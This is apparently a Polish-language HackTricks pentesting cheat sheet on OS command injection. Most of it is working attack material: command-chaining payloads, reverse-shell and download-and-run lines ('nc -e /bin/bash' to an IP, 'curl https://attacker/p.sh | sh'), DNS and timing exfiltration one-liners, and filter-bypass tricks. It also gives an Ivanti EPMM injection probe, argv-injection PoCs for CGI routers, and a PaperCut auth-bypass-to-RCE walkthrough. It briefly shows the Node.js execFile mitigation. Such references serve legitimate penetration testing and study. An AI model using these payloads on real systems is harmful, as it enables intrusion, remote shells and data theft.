Command Injection

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Co to jest command Injection?

command injection umożliwia wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze, na którym hostowana jest aplikacja. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem, na którym działa.

Kontekst

W zależności od gdzie jest wstrzykiwane twoje wejście, może być konieczne zamknięcie cytowanego kontekstu (używając " lub ') przed poleceniami.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Ograniczenia Bypasses

Jeśli próbujesz uruchomić dowolne polecenia w maszynie linux, zainteresuje cię lektura tych Bypasses:

Bypass Linux Restrictions

Przykłady

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Ocena arytmetyczna Bash w skryptach w stylu RewriteMap/CGI

Pomocniki RewriteMap napisane w bash czasami zapisują parametry zapytania do zmiennych globalnych, a następnie porównują je w kontekstach arytmetycznych ([[ $a -gt $b ]], $((...)), let). Ekspansja arytmetyczna ponownie tokenizuje zawartość, więc kontrolowane przez atakującego nazwy zmiennych lub referencje do tablic są rozszerzane dwukrotnie i mogą zostać wykonane.

Wzorzec zaobserwowany w pomocnikach RewriteMap Ivanti EPMM:

  1. Parametry mapowane są na zmienne globalne (stgStartTime, htheValue).
  2. Późniejsza weryfikacja:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Wyślij st=theValue, tak że gStartTime wskazuje na łańcuch theValue.
  2. Wyślij h=gPath['sleep 5'], aby theValue zawierało indeks tablicy; podczas sprawdzania arytmetycznego wykona sleep 5 (zamień na prawdziwy payload).

Sonda (~5s opóźnienia, potem 404 jeśli podatne):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Notatki:

  • Szukaj tego samego helpera pod innymi prefixami (np. /mifs/c/aftstore/fob/).
  • Konteksty arytmetyczne traktują nieznane tokeny jako identyfikatory zmiennych/tablic, więc to omija proste filtry metaznaków.

Parameters

Oto 25 najważniejszych parametrów, które mogą być podatne na code injection i podobne RCE vulnerabilities (z link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Wyodrębnianie danych: znak po znaku

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Oparte na narzędziu z https://github.com/HoLyVieR/dnsbin, także hostowanym na dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Narzędzia online do wykrywania eksfiltracji danych przez DNS:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Podczas audytu backendów JavaScript/TypeScript często napotkasz API Node.js child_process.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() uruchamia shell (/bin/sh -c), dlatego każdy znak mający specjalne znaczenie dla shell (back-ticks, ;, &&, |, $(), …) spowoduje command injection, gdy dane wejściowe użytkownika są konkatenowane w stringu.

Środki zaradcze: użyj execFile() (lub spawn() bez opcji shell) i podaj każdy argument jako osobny element tablicy, tak żeby nie było zaangażowane żadne shell:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with execve/execFile and no shell), many programs will still parse any argument that begins with - or -- as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.

Typical places where this appears:

  • Wbudowane web UIs/CGI handlers które budują polecenia takie jak ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Centralized CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) gdzie wiele handlerów reuse the same weak validator.

What to try:

  • Podaj wartości zaczynające się od -/--, aby zostały potraktowane jako flagi przez docelowe narzędzie.
  • Nadużyj flag, które zmieniają zachowanie lub zapisują pliki, na przykład:
  • ping: -f/-c 100000 aby obciążyć urządzenie (DoS)
  • curl: -o /tmp/x aby zapisać dowolne ścieżki, -K <url> aby załadować kontrolowaną przez atakującego konfigurację
  • tcpdump: -G 1 -W 1 -z /path/script.sh aby osiągnąć wykonanie po rotacji w niebezpiecznych wrapperach
  • Jeśli program obsługuje -- end-of-options, spróbuj obejść naiwną mitigację, która poprzedza -- w złym miejscu.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Diagnostyczne wywołania zwrotne JVM dla gwarantowanego wykonania

Każdy mechanizm, który pozwala Ci wstrzyknąć argumenty wiersza poleceń JVM (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) można zamienić w niezawodne RCE bez modyfikowania bytecode aplikacji:

  1. Wymuś deterministyczny crash poprzez zmniejszenie metaspace lub heap: -XX:MaxMetaspaceSize=16m (lub mały -Xmx). To gwarantuje OutOfMemoryError nawet podczas wczesnego bootstrapu.
  2. Podłącz hook błędu: -XX:OnOutOfMemoryError="<cmd>" lub -XX:OnError="<cmd>" wykonuje dowolne polecenie systemowe za każdym razem, gdy JVM abortuje.
  3. Opcjonalnie dodaj -XX:+CrashOnOutOfMemoryError, aby uniknąć prób odzyskiwania i utrzymać payload jednorazowym.

Przykładowe payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Ponieważ te diagnostyki są parsowane przez sam JVM, nie są potrzebne żadne metaznaki powłoki, a polecenie uruchamia się z tym samym poziomem uprawnień co launcher. Błędy Desktop IPC, które przekazują flagi JVM pochodzące od użytkownika (zob. Localhost WebSocket abuse), w związku z tym przekładają się bezpośrednio na wykonanie polecenia w systemie operacyjnym.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Wrażliwe buildy NG/MF (np. 22.0.5 Build 63914) ujawniają /app?service=page/SetupCompleted; przejście tam i kliknięcie Zaloguj zwraca ważny JSESSIONID bez poświadczeń (authentication bypass w przepływie konfiguracji).
  • W Options → Config Editor, ustaw print-and-device.script.enabled=Y i print.script.sandboxed=N, aby włączyć printer scripting i wyłączyć sandbox.
  • W zakładce drukarki Scripting włącz skrypt i pozostaw zdefiniowane printJobHook, aby uniknąć błędów walidacji, ale umieść payload poza funkcją, tak aby wykonał się natychmiast po kliknięciu Zastosuj (nie jest potrzebne żadne zadanie drukowania):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Zamień callback na reverse shell; jeśli UI/PoC nie radzi sobie z pipes/redirects, przygotuj payload zawierający jedno polecenie i wykonaj je drugim żądaniem.
  • Horizon3’s CVE-2023-27350.py automatyzuje auth bypass, config flips, command execution i rollback — uruchom go przez upstream proxy (np. proxychains → Squid), gdy serwis jest dostępny tylko wewnętrznie.

Lista wykrywania Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks